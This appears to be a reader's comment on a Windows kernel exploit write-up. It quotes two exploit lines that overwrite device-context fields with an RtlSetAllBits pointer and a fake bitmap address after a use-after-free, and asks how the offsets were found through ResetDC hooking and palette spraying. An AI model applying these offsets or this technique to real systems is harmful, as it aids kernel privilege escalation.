I'd like to ask you about method you used to find offset to UAF here:
p[0x15A - 0x8 - 0x5] = globals::rtlSetAllBits;
p[0xE4 - 0x8 - 0x5] = globals::fakeRtlBitMapAddr;
I'm curious how do you recognize desired fields of internal device context structure as well as obtain memory ptr to it.
I bet you did a kernel memory dump before doing ResetDC in mid-hook, and second dump after spraying palette to be able to find ptr by known pattern.
However, searching pvoid in those structure, and the fact why driver call 2 of them is still a mystery for me. Do you know function name I can decompile to see those calls and calculate offset he uses?
Thanks for details.
